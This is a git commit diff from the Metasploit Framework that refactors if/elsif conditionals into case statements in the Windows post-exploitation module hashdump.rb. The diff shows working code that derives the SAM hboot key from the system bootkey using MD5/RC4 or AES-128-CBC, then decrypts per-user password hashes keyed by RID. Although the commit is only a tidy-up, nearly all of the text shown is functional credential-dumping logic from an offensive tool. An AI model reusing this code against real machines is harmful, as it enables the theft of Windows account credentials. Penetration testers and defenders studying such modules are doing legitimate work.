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convert conditionals to case statements

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just a little tidying up by using case statements
This commit is contained in:
David Maloney 2017-06-19 13:40:00 -05:00
parent a01796d114
commit 6d38dffbe1
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1 changed files with 43 additions and 46 deletions
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89
modules/post/windows/gather/hashdump.rb
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@ -141,27 +141,26 @@ class MetasploitModule < Msf::Post
revision = vf[0x68, 4].unpack('V')[0]
if revision == 1
hash = Digest::MD5.new
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
case revision
when 1
hash = Digest::MD5.new
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
rc4 = OpenSSL::Cipher.new("rc4")
rc4.key = hash.digest
hbootkey = rc4.update(vf[0x80, 32])
hbootkey << rc4.final
return hbootkey
rc4 = OpenSSL::Cipher.new("rc4")
rc4.key = hash.digest
hbootkey = rc4.update(vf[0x80, 32])
hbootkey << rc4.final
hbootkey
when 2
aes = OpenSSL::Cipher.new('aes-128-cbc')
aes.key = bootkey
aes.padding = 0
aes.decrypt
aes.iv = vf[0x78, 16]
aes.update(vf[0x88, 16]) # we need only 16 bytes
else
raise NotImplementedError, "Unknown hboot_key revision: #{revision}"
end
if revision == 2
aes = OpenSSL::Cipher.new('aes-128-cbc')
aes.key = bootkey
aes.padding = 0
aes.decrypt
aes.iv = vf[0x78, 16]
return aes.update(vf[0x88, 16]) # we need only 16 bytes
end
raise NotImplementedError, "Unknown hboot_key revision: #{revision}"
end
def capture_user_keys
@ -254,34 +253,32 @@ class MetasploitModule < Msf::Post
def decrypt_user_hash(rid, hbootkey, enchash, pass, default)
revision = enchash[2, 2].unpack('v')[0]
if revision == 1
if enchash.length < 20
case revision
when 1
if enchash.length < 20
return default
end
md5 = Digest::MD5.new
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
rc4 = OpenSSL::Cipher.new('rc4')
rc4.key = md5.digest
okey = rc4.update(enchash[4, 16])
when 2
if enchash.length < 40
return default
end
aes = OpenSSL::Cipher.new('aes-128-cbc')
aes.key = hbootkey[0, 16]
aes.padding = 0
aes.decrypt
aes.iv = enchash[8, 16]
okey = aes.update(enchash[24, 16]) # we need only 16 bytes
else
print_error("Unknown user hash revision: #{revision}")
return default
end
md5 = Digest::MD5.new
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
rc4 = OpenSSL::Cipher.new('rc4')
rc4.key = md5.digest
okey = rc4.update(enchash[4, 16])
elsif revision == 2
if enchash.length < 40
return default
end
aes = OpenSSL::Cipher.new('aes-128-cbc')
aes.key = hbootkey[0, 16]
aes.padding = 0
aes.decrypt
aes.iv = enchash[8, 16]
okey = aes.update(enchash[24, 16]) # we need only 16 bytes
else
print_error("Unknown user hash revision: #{revision}")
return default
end
des_k1, des_k2 = rid_to_key(rid)